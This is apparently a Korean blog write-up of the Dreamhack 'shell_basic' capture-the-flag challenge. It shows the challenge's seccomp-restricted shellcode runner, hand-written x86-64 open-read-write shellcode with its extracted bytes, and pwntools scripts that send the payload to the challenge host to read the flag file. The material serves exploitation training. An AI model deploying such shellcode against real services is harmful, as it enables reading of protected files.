shell_basic
Description 입력한 셸코드를 실행하는 프로그램이 서비스로 등록되어 작동하고 있습니다. main 함수가 아닌 다른 함수들은 execve, execveat 시스템 콜을 사용하지 못하도록 하며, 풀이와 관련이 없는
dreamhack.io
문제 + 취약점 분석
주어진 문제에서 execve 시스템 콜을 사용하지 못하게 막았으므로 파일의 위치인 home/shell_basic/flag_name_is_loooooong에 orw 셸코드를 이용하여 flag를 얻을 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
|
// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(10);
}
void banned_execve() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_load(ctx);
}
void main(int argc, char *argv[]) {
char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
banned_execve();
printf("shellcode: ");
read(0, shellcode, 0x1000);
sc = (void *)shellcode;
sc();
}
|
cs |
1. C코드를 이용한 Exploit
처음 작성한 스켈레톤 코드이다.
파일의 경로를 hex로 변환한 값을 리틀엔디언 방식으로 전달해주고
먼저 파일 open을 위해
rdi = 파일의 경로
rsi = NULL
rdx = NULL을 대입해주었다.
이후 syscall을 통해 출력되는 값은 rax에 저장되므로
read를 위해 해당 rax의 값을 다시 rdi에 넣어주고
rsi = buf를 위해 rsp에서 0x30만큼 stack 공간을 할당해주고
rdx에 읽을 크기인 0x30을 넣어주었다.
마지막으로 write를 위해
rdi = 1, rax = 1 을 넣고 syscall을 실행시키면 된다.
위의 asm를 토대로 c파일을 생성했다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
__asm__(
".global run_sh\\n"
"run_sh:\\n"
"mov rax, 0x676e6f6f6f6f6f6f\\n"
"push rax\\n"
"mov rax, 0x6c5f73695f656d61\\n"
"push rax\\n"
"mov rax, 0x6e5f67616c662f63\\n"
"push rax\\n"
"mov rax, 0x697361625f6c6c65\\n"
"push rax\\n"
"mov rax, 0x68732f656d6f682f\\n"
"push rax\\n"
"mov rdi, rsp\\n"
"xor rsi, rsi\\n"
"xor rdx, rdx\\n"
"mov rax, 0x2\\n"
"syscall\\n"
"mov rdi, rax\\n"
"mov rsi, rsp\\n"
"sub rsi, 0x30\\n"
"mov rdx, 0x30\\n"
"mov rax, 0x0\\n"
"syscall\\n"
"mov rdi, 0x1\\n"
"mov rax, 0x1\\n"
"syscall\\n"
"xor rdi, rdi\\n"
"mov rax, 0x3c\\n"
"syscall\\n");
void run_sh();
int main() { run_sh(); }
|
cs |
후에
위의 두 명령어를 통해 작성한 shell.c 파일을 orw라는 이름으로 컴파일을 하고 objdump -d 명령어를 통해 orw 파일을 각각 디스어셈블한 결과를 얻었다.
내가 관심있는 부분은 run_sh 부분이므로 해당 부분의 셸 코드를 추출하면
1
2
|
\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\x48\xc7\xc2\x30\x00\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x05\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7\xc0\x01\x00\x00\x00\x0f\x05\x48\x31\xff\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05
|
cs |
위와 같다.
이제 pwntools를 이용하여 서버에 전송하면 된다.
1
2
3
4
5
6
7
8
9
|
from pwn import *
p=remote("host3.dreamhack.games", 13997)
shell_code=b"\\x48\\xb8\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6e\\x67\\x50\\x48\\xb8\\x61\\x6d\\x65\\x5f\\x69\\x73\\x5f\\x6c\\x50\\x48\\xb8\\x63\\x2f\\x66\\x6c\\x61\\x67\\x5f\\x6e\\x50\\x48\\xb8\\x65\\x6c\\x6c\\x5f\\x62\\x61\\x73\\x69\\x50\\x48\\xb8\\x2f\\x68\\x6f\\x6d\\x65\\x2f\\x73\\x68\\x50\\x48\\x89\\xe7\\x48\\x31\\xf6\\x48\\x31\\xd2\\x48\\xc7\\xc0\\x02\\x00\\x00\\x00\\x0f\\x05\\x48\\x89\\xc7\\x48\\x89\\xe6\\x48\\x83\\xee\\x30\\x48\\xc7\\xc2\\x30\\x00\\x00\\x00\\x48\\xc7\\xc0\\x00\\x00\\x00\\x00\\x0f\\x05\\x48\\xc7\\xc7\\x01\\x00\\x00\\x00\\x48\\xc7\\xc0\\x01\\x00\\x00\\x00\\x0f\\x05\\x48\\x31\\xff\\x48\\xc7\\xc0\\x3c\\x00\\x00\\x00\\x0f\\x05"
p.sendline(shell_code)
p.interactive()
|
cs |
그런데 실행 결과가
위와 같이 이상하게 출력이 되었다.
계속 헤매다 처음 c코드에서 rax를 push하기 전에 rsp와 opcode를 구분짓기 위해 NULL값을 push해주면 된다고한다.
그래서 push 0x0을 넣었을 때의 셸코드인 6a00을 넣어주면 원하는 결과값이 출력이된다.
2. shellcraft를 이용한 Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
from pwn import *
p = remote("host3.dreamhack.games", 10297)
context.arch="amd64" # 대상 아키텍처가 x86-64 아키텍처
r = "/home/shell_basic/flag_name_is_loooooong"
shellcode = ""
shellcode += shellcraft.open(r)
shellcode += shellcraft.read("rax", "rsp", 0x30)
shellcode += shellcraft.write(1, "rsp", 0x30)
shellcode += shellcraft.exit()
p.sendafter("shellcode: ", asm(shellcode))
p.interactive()
|
cs |
'Hacking > system' 카테고리의 다른 글
Return to Library (0) | 2024.01.18 |
---|---|
ssp_001 (0) | 2024.01.18 |
Return to Shellcode (0) | 2024.01.18 |